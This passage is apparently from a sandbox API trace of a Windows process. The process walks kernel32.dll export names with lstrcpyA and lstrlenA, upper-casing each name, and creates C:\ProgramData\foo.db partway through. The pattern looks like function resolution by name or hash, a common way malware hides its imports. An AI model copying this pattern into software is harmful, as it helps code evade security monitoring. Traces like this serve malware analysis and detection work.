lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0093.672] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0093.672] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0093.672] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0093.672] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0093.672] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0093.672] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0093.672] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0093.672] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0093.672] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0093.673] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0093.673] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0093.673] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0093.673] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0093.673] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0093.673] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0093.673] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0093.673] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0093.673] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0093.673] lstrlenA (lpString="BEEP") returned 4 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0093.673] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0093.673] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0093.673] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0093.673] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0093.674] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0093.674] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0093.674] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0093.674] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0093.674] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0093.674] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0093.674] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0093.675] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0093.675] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0093.675] lstrlenA (lpString="CANCELIO") returned 8 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0093.675] lstrlenA (lpString="CANCELIOEX") returned 10 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0093.675] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0093.675] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0093.675] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0093.675] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0093.675] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0093.675] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0093.676] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0093.676] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0093.676] lstrlenA (lpString="CHECKELEVATION") returned 14 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0093.676] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0093.676] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0093.676] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0093.676] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0093.676] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0093.676] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0093.676] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0093.677] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0093.677] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0093.677] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0093.677] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0093.677] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0093.677] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0093.677] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0093.677] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0093.677] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0093.677] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0093.678] lstrlenA (lpString="CLOSESTATE") returned 10 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0093.678] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0093.678] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0093.678] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0093.678] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0093.678] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0093.678] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0093.678] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0093.678] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0093.678] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0093.678] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0093.678] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0093.679] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0093.679] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0093.679] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0093.679] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0093.679] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0093.679] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0093.679] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0093.679] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0093.679] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0093.679] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0093.680] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0093.680] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0093.680] lstrlenA (lpString="COPYCONTEXT") returned 11 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0093.680] lstrlenA (lpString="COPYFILE2") returned 9 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0093.680] lstrlenA (lpString="COPYFILEA") returned 9 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0093.680] lstrlenA (lpString="COPYFILEEXA") returned 11 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0093.680] lstrlenA (lpString="COPYFILEEXW") returned 11 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0093.680] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0093.680] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0093.680] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0093.680] lstrlenA (lpString="COPYFILEW") returned 9 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0093.681] lstrlenA (lpString="COPYLZFILE") returned 10 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0093.681] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0093.681] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0093.681] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0093.681] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0093.681] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0093.681] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0093.681] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0093.681] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0093.681] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0093.681] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0093.681] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0093.682] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0093.682] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0093.682] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0093.682] lstrlenA (lpString="CREATEEVENTA") returned 12 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0093.682] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0093.682] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0093.682] lstrlenA (lpString="CREATEEVENTW") returned 12 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0093.682] lstrlenA (lpString="CREATEFIBER") returned 11 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0093.682] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0093.682] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0093.683] lstrlenA (lpString="CREATEFILE2") returned 11 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0093.683] lstrlenA (lpString="CREATEFILEA") returned 11 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0093.683] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0093.683] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0093.683] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0093.683] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0093.683] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0093.683] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0093.683] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0093.683] lstrcpyA (in: lpString1=0x21fdafc, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0093.683] lstrlenA (lpString="CREATEFILEW") returned 11 [0093.684] CreateFileW (lpFileName="C:\\ProgramData\\foo.db" (normalized: "c:\\programdata\\foo.db"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0093.685] lstrlenA (lpString="kernel32.dll") returned 12 [0093.685] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.685] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0093.685] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0093.685] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0093.686] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0093.686] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0093.686] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0093.686] lstrlenA (lpString="ADDATOMA") returned 8 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0093.686] lstrlenA (lpString="ADDATOMW") returned 8 [0093.686] lstrcpyA (in: lpString1=0x21fdb14, 